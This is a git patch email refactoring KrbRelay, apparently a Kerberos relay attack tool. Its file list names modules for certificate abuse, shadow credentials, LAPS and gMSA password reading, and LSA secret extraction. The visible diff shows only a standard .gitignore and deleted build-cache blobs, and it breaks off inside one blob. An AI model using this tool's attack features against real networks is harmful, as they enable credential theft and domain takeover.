From dc9aebeabbbc3204ac43ea9fb7b0e8dcdf3b5e8c Mon Sep 17 00:00:00 2001 From: Nick Landers Date: Wed, 16 Feb 2022 09:20:32 -0700 Subject: [PATCH 1/5] =?UTF-8?q?=EF=BB=BFInitial=20refactor=20and=20cleanup?= =?UTF-8?q?=20Update=20hooks=20system=20to=20support=20post-load=20setups?= =?UTF-8?q?=20Remove=20explicit=20Environment.Exit=20calls?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .gitignore | 398 +++++++++ ...ework,Version=v4.7.2.AssemblyAttributes.cs | 4 - .../CheckPort.csproj.AssemblyReference.cache | Bin 4079 -> 0 bytes ...CheckPort.csproj.ResolveComReference.cache | Bin 248 -> 0 bytes ...gnTimeResolveAssemblyReferencesInput.cache | Bin 6808 -> 0 bytes CheckPort/obj/Debug/Interop.NetFwTypeLib.dll | Bin 22016 -> 0 bytes ...ework,Version=v4.7.2.AssemblyAttributes.cs | 4 - .../CheckPort.csproj.AssemblyReference.cache | Bin 4079 -> 0 bytes .../CheckPort.csproj.FileListAbsolute.txt | 0 ...CheckPort.csproj.ResolveComReference.cache | Bin 248 -> 0 bytes ...gnTimeResolveAssemblyReferencesInput.cache | Bin 6812 -> 0 bytes .../obj/Release/Interop.NetFwTypeLib.dll | Bin 22016 -> 0 bytes KrbRelay/.editorconfig | 166 ++++ KrbRelay/Clients/Attacks/Http/ADCS.cs | 74 +- KrbRelay/Clients/Attacks/Http/EWS.cs | 88 +- KrbRelay/Clients/Attacks/Http/ProxyServer.cs | 95 ++- .../DSInternals.Common/Data/DNWithBinary.cs | 40 +- .../Data/Hello/CustomKeyInformation.cs | 59 +- .../Data/Hello/KeyCredential.cs | 154 ++-- .../Data/Hello/KeyCredentialEntryType.cs | 2 +- .../Data/Hello/KeyCredentialVersion.cs | 2 +- .../DSInternals.Common/Data/Hello/KeyFlags.cs | 2 +- .../Data/Hello/KeySource.cs | 2 +- .../Data/Hello/KeyStrength.cs | 2 +- .../DSInternals.Common/Data/Hello/KeyUsage.cs | 2 +- .../Data/Hello/VolumeType.cs | 2 +- .../Extensions/ByteArrayExtensions.cs | 18 +- .../Extensions/RSAExtensions.cs | 13 +- .../Ldap/DSInternals.Common/Validator.cs | 44 +- KrbRelay/Clients/Attacks/Ldap/Generic.cs | 159 ++-- KrbRelay/Clients/Attacks/Ldap/LAPS.cs | 53 +- KrbRelay/Clients/Attacks/Ldap/RBCD.cs | 3 +- .../Clients/Attacks/Ldap/ShadowCredential.cs | 68 +- .../Clients/Attacks/Ldap/addGroupMember.cs | 5 +- KrbRelay/Clients/Attacks/Ldap/gMSA.cs | 82 +- KrbRelay/Clients/Attacks/Ldap/setPassword.cs | 10 +- .../Clients/Attacks/Smb/HiveParser/Crypto.cs | 94 ++- .../Attacks/Smb/HiveParser/LsaSecret.cs | 2 +- .../Attacks/Smb/HiveParser/NL_Record.cs | 2 +- .../Clients/Attacks/Smb/HiveParser/NodeKey.cs | 2 +- .../Clients/Attacks/Smb/HiveParser/Parse.cs | 9 +- .../Attacks/Smb/HiveParser/Registry.cs | 248 ++++-- .../Attacks/Smb/HiveParser/RegistryHive.cs | 2 +- .../Attacks/Smb/HiveParser/ValueKey.cs | 5 +- KrbRelay/Clients/Attacks/Smb/LSA.cs | 83 +- .../Clients/Attacks/Smb/RemoteRegistry.cs | 42 +- .../Clients/Attacks/Smb/ServiceManager.cs | 35 +- KrbRelay/Clients/Attacks/Smb/Shares.cs | 144 +++- KrbRelay/Clients/Http.cs | 74 +- KrbRelay/Clients/Ldap.cs | 87 +- KrbRelay/Clients/Rpc.cs | 2 +- KrbRelay/Clients/Smb.cs | 27 +- KrbRelay/{ => Com}/IStorage/IEnumSTATSTG.cs | 0 KrbRelay/{ => Com}/IStorage/ILockBytes.cs | 0 KrbRelay/{ => Com}/IStorage/IMarshal.cs | 0 KrbRelay/{ => Com}/IStorage/IStorage.cs | 0 KrbRelay/{ => Com}/IStorage/IStream.cs | 0 KrbRelay/{ => Com}/IStorage/Ole32.cs | 0 .../{ => Com}/IStorage/StandardActivator.cs | 0 KrbRelay/{ => Com}/IStorage/StorageTrigger.cs | 0 KrbRelay/Common/Helpers.cs | 550 +++++++++++++ KrbRelay/Common/Hooks.cs | 205 +++++ KrbRelay/Common/State.cs | 62 ++ KrbRelay/Interop/Interop.cs | 310 +++++++ KrbRelay/Interop/Kerberos.cs | 62 ++ KrbRelay/Interop/Ldap.cs | 162 ++++ KrbRelay/Interop/Misc.cs | 89 ++ KrbRelay/Interop/PE.cs | 155 ++++ KrbRelay/Interop/Rpc.cs | 27 + KrbRelay/Interop/Sspi.cs | 477 +++++++++++ KrbRelay/Interop/WTS.cs | 42 + KrbRelay/KrbRelay.csproj | 37 +- KrbRelay/Misc/Interop.cs | 96 --- KrbRelay/Misc/SecurityBuffer.cs | 312 ------- KrbRelay/Program.cs | 760 ++++++++---------- .../Client/Helpers/SamrServiceHelper.cs | 7 +- KrbRelay/Spoofing/HttpServer.cs | 68 +- KrbRelay/Spoofing/LLMNR.cs | 4 +- 78 files changed, 4363 insertions(+), 1471 deletions(-) create mode 100644 .gitignore delete mode 100644 CheckPort/obj/Debug/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs delete mode 100644 CheckPort/obj/Debug/CheckPort.csproj.AssemblyReference.cache delete mode 100644 CheckPort/obj/Debug/CheckPort.csproj.ResolveComReference.cache delete mode 100644 CheckPort/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache delete mode 100644 CheckPort/obj/Debug/Interop.NetFwTypeLib.dll delete mode 100644 CheckPort/obj/Release/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs delete mode 100644 CheckPort/obj/Release/CheckPort.csproj.AssemblyReference.cache delete mode 100644 CheckPort/obj/Release/CheckPort.csproj.FileListAbsolute.txt delete mode 100644 CheckPort/obj/Release/CheckPort.csproj.ResolveComReference.cache delete mode 100644 CheckPort/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache delete mode 100644 CheckPort/obj/Release/Interop.NetFwTypeLib.dll create mode 100644 KrbRelay/.editorconfig rename KrbRelay/{ => Com}/IStorage/IEnumSTATSTG.cs (100%) rename KrbRelay/{ => Com}/IStorage/ILockBytes.cs (100%) rename KrbRelay/{ => Com}/IStorage/IMarshal.cs (100%) rename KrbRelay/{ => Com}/IStorage/IStorage.cs (100%) rename KrbRelay/{ => Com}/IStorage/IStream.cs (100%) rename KrbRelay/{ => Com}/IStorage/Ole32.cs (100%) rename KrbRelay/{ => Com}/IStorage/StandardActivator.cs (100%) rename KrbRelay/{ => Com}/IStorage/StorageTrigger.cs (100%) create mode 100644 KrbRelay/Common/Helpers.cs create mode 100644 KrbRelay/Common/Hooks.cs create mode 100644 KrbRelay/Common/State.cs create mode 100644 KrbRelay/Interop/Interop.cs create mode 100644 KrbRelay/Interop/Kerberos.cs create mode 100644 KrbRelay/Interop/Ldap.cs create mode 100644 KrbRelay/Interop/Misc.cs create mode 100644 KrbRelay/Interop/PE.cs create mode 100644 KrbRelay/Interop/Rpc.cs create mode 100644 KrbRelay/Interop/Sspi.cs create mode 100644 KrbRelay/Interop/WTS.cs delete mode 100644 KrbRelay/Misc/Interop.cs delete mode 100644 KrbRelay/Misc/SecurityBuffer.cs diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..8a30d25 --- /dev/null +++ b/.gitignore @@ -0,0 +1,398 @@ +## Ignore Visual Studio temporary files, build results, and +## files generated by popular Visual Studio add-ons. +## +## Get latest from https://github.com/github/gitignore/blob/main/VisualStudio.gitignore + +# User-specific files +*.rsuser +*.suo +*.user +*.userosscache +*.sln.docstates + +# User-specific files (MonoDevelop/Xamarin Studio) +*.userprefs + +# Mono auto generated files +mono_crash.* + +# Build results +[Dd]ebug/ +[Dd]ebugPublic/ +[Rr]elease/ +[Rr]eleases/ +x64/ +x86/ +[Ww][Ii][Nn]32/ +[Aa][Rr][Mm]/ +[Aa][Rr][Mm]64/ +bld/ +[Bb]in/ +[Oo]bj/ +[Ll]og/ +[Ll]ogs/ + +# Visual Studio 2015/2017 cache/options directory +.vs/ +# Uncomment if you have tasks that create the project's static files in wwwroot +#wwwroot/ + +# Visual Studio 2017 auto generated files +Generated\ Files/ + +# MSTest test Results +[Tt]est[Rr]esult*/ +[Bb]uild[Ll]og.* + +# NUnit +*.VisualState.xml +TestResult.xml +nunit-*.xml + +# Build Results of an ATL Project +[Dd]ebugPS/ +[Rr]eleasePS/ +dlldata.c + +# Benchmark Results +BenchmarkDotNet.Artifacts/ + +# .NET Core +project.lock.json +project.fragment.lock.json +artifacts/ + +# ASP.NET Scaffolding +ScaffoldingReadMe.txt + +# StyleCop +StyleCopReport.xml + +# Files built by Visual Studio +*_i.c +*_p.c +*_h.h +*.ilk +*.meta +*.obj +*.iobj +*.pch +*.pdb +*.ipdb +*.pgc +*.pgd +*.rsp +*.sbr +*.tlb +*.tli +*.tlh +*.tmp +*.tmp_proj +*_wpftmp.csproj +*.log +*.tlog +*.vspscc +*.vssscc +.builds +*.pidb +*.svclog +*.scc + +# Chutzpah Test files +_Chutzpah* + +# Visual C++ cache files +ipch/ +*.aps +*.ncb +*.opendb +*.opensdf +*.sdf +*.cachefile +*.VC.db +*.VC.VC.opendb + +# Visual Studio profiler +*.psess +*.vsp +*.vspx +*.sap + +# Visual Studio Trace Files +*.e2e + +# TFS 2012 Local Workspace +$tf/ + +# Guidance Automation Toolkit +*.gpState + +# ReSharper is a .NET coding add-in +_ReSharper*/ +*.[Rr]e[Ss]harper +*.DotSettings.user + +# TeamCity is a build add-in +_TeamCity* + +# DotCover is a Code Coverage Tool +*.dotCover + +# AxoCover is a Code Coverage Tool +.axoCover/* +!.axoCover/settings.json + +# Coverlet is a free, cross platform Code Coverage Tool +coverage*.json +coverage*.xml +coverage*.info + +# Visual Studio code coverage results +*.coverage +*.coveragexml + +# NCrunch +_NCrunch_* +.*crunch*.local.xml +nCrunchTemp_* + +# MightyMoose +*.mm.* +AutoTest.Net/ + +# Web workbench (sass) +.sass-cache/ + +# Installshield output folder +[Ee]xpress/ + +# DocProject is a documentation generator add-in +DocProject/buildhelp/ +DocProject/Help/*.HxT +DocProject/Help/*.HxC +DocProject/Help/*.hhc +DocProject/Help/*.hhk +DocProject/Help/*.hhp +DocProject/Help/Html2 +DocProject/Help/html + +# Click-Once directory +publish/ + +# Publish Web Output +*.[Pp]ublish.xml +*.azurePubxml +# Note: Comment the next line if you want to checkin your web deploy settings, +# but database connection strings (with potential passwords) will be unencrypted +*.pubxml +*.publishproj + +# Microsoft Azure Web App publish settings. Comment the next line if you want to +# checkin your Azure Web App publish settings, but sensitive information contained +# in these scripts will be unencrypted +PublishScripts/ + +# NuGet Packages +*.nupkg +# NuGet Symbol Packages +*.snupkg +# The packages folder can be ignored because of Package Restore +**/[Pp]ackages/* +# except build/, which is used as an MSBuild target. +!**/[Pp]ackages/build/ +# Uncomment if necessary however generally it will be regenerated when needed +#!**/[Pp]ackages/repositories.config +# NuGet v3's project.json files produces more ignorable files +*.nuget.props +*.nuget.targets + +# Microsoft Azure Build Output +csx/ +*.build.csdef + +# Microsoft Azure Emulator +ecf/ +rcf/ + +# Windows Store app package directories and files +AppPackages/ +BundleArtifacts/ +Package.StoreAssociation.xml +_pkginfo.txt +*.appx +*.appxbundle +*.appxupload + +# Visual Studio cache files +# files ending in .cache can be ignored +*.[Cc]ache +# but keep track of directories ending in .cache +!?*.[Cc]ache/ + +# Others +ClientBin/ +~$* +*~ +*.dbmdl +*.dbproj.schemaview +*.jfm +*.pfx +*.publishsettings +orleans.codegen.cs + +# Including strong name files can present a security risk +# (https://github.com/github/gitignore/pull/2483#issue-259490424) +#*.snk + +# Since there are multiple workflows, uncomment next line to ignore bower_components +# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) +#bower_components/ + +# RIA/Silverlight projects +Generated_Code/ + +# Backup & report files from converting an old project file +# to a newer Visual Studio version. Backup files are not needed, +# because we have git ;-) +_UpgradeReport_Files/ +Backup*/ +UpgradeLog*.XML +UpgradeLog*.htm +ServiceFabricBackup/ +*.rptproj.bak + +# SQL Server files +*.mdf +*.ldf +*.ndf + +# Business Intelligence projects +*.rdl.data +*.bim.layout +*.bim_*.settings +*.rptproj.rsuser +*- [Bb]ackup.rdl +*- [Bb]ackup ([0-9]).rdl +*- [Bb]ackup ([0-9][0-9]).rdl + +# Microsoft Fakes +FakesAssemblies/ + +# GhostDoc plugin setting file +*.GhostDoc.xml + +# Node.js Tools for Visual Studio +.ntvs_analysis.dat +node_modules/ + +# Visual Studio 6 build log +*.plg + +# Visual Studio 6 workspace options file +*.opt + +# Visual Studio 6 auto-generated workspace file (contains which files were open etc.) +*.vbw + +# Visual Studio 6 auto-generated project file (contains which files were open etc.) +*.vbp + +# Visual Studio 6 workspace and project file (working project files containing files to include in project) +*.dsw +*.dsp + +# Visual Studio 6 technical files +*.ncb +*.aps + +# Visual Studio LightSwitch build output +**/*.HTMLClient/GeneratedArtifacts +**/*.DesktopClient/GeneratedArtifacts +**/*.DesktopClient/ModelManifest.xml +**/*.Server/GeneratedArtifacts +**/*.Server/ModelManifest.xml +_Pvt_Extensions + +# Paket dependency manager +.paket/paket.exe +paket-files/ + +# FAKE - F# Make +.fake/ + +# CodeRush personal settings +.cr/personal + +# Python Tools for Visual Studio (PTVS) +__pycache__/ +*.pyc + +# Cake - Uncomment if you are using it +# tools/** +# !tools/packages.config + +# Tabs Studio +*.tss + +# Telerik's JustMock configuration file +*.jmconfig + +# BizTalk build output +*.btp.cs +*.btm.cs +*.odx.cs +*.xsd.cs + +# OpenCover UI analysis results +OpenCover/ + +# Azure Stream Analytics local run output +ASALocalRun/ + +# MSBuild Binary and Structured Log +*.binlog + +# NVidia Nsight GPU debugger configuration file +*.nvuser + +# MFractors (Xamarin productivity tool) working folder +.mfractor/ + +# Local History for Visual Studio +.localhistory/ + +# Visual Studio History (VSHistory) files +.vshistory/ + +# BeatPulse healthcheck temp database +healthchecksdb + +# Backup folder for Package Reference Convert tool in Visual Studio 2017 +MigrationBackup/ + +# Ionide (cross platform F# VS Code tools) working folder +.ionide/ + +# Fody - auto-generated XML schema +FodyWeavers.xsd + +# VS Code files for those working on multiple tools +.vscode/* +!.vscode/settings.json +!.vscode/tasks.json +!.vscode/launch.json +!.vscode/extensions.json +*.code-workspace + +# Local History for Visual Studio Code +.history/ + +# Windows Installer files from build outputs +*.cab +*.msi +*.msix +*.msm +*.msp + +# JetBrains Rider +*.sln.iml diff --git a/CheckPort/obj/Debug/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs b/CheckPort/obj/Debug/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs deleted file mode 100644 index 3871b18..0000000 --- a/CheckPort/obj/Debug/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs +++ /dev/null @@ -1,4 +0,0 @@ -// -using System; -using System.Reflection; -[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.7.2", FrameworkDisplayName = ".NET Framework 4.7.2")] diff --git a/CheckPort/obj/Debug/CheckPort.csproj.AssemblyReference.cache b/CheckPort/obj/Debug/CheckPort.csproj.AssemblyReference.cache deleted file mode 100644 index d7642171660f1ed59751fbfeeb1865815ea4d92f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 4079 zcmcInO>fjN5Y32EEn5WQLr9f4>=7j}yUl{9Z7X>1<-+efvHCnyHhRjE0AQSIZspoIH(F%`%mUV=_(> z0DDgG>DAho@0YzGU%++y=BCV4D#nr$nanrbLQdE}&tvzTec^-e<-1+q_-?3Ki`(wgP zPQ-Mfs1ccLWbw!Aql-J2{oTT1-&_2gCXMWrJ#*H|D9^e?**Z(!33*xrw@Vi^xN*P% zSpNfZ3xEM0dZG>%(ukCkh$}%8ao#)y%G3dDTqTv_EnKYTz_QC6*rSFLcZ;|go*6E+ zEd^bZ5w70QGNQoB9ozydoRlb>2{UBkL?^^uNdgI@8CCPHxx%PAB!~fS`6Am}Ntz1Q zD0j*|yIN=CPUtEec6C`b3VC5r%Ah!8~FG|c+aLdd|EmqK|urSk%@y$#w$}i4OD^Un`@h*-D&&*57FE5TM zGc?dMaEwXH%!~1J4RMQ5FwwJ62+7aSDW;-HObiSRjPgK-!E6n#EG|jSH8zSVE=kGH zNj1_d$w>k!Qh2wB|8&)L4n}2cirq4cQp*!_avTFZ^-^+jKpG}p)!t~m@FoWU68KSa diff --git a/CheckPort/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache b/CheckPort/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache deleted file mode 100644 index d2d6d660976c24e50e126e4d85ba11b0bb31193c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 6808 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 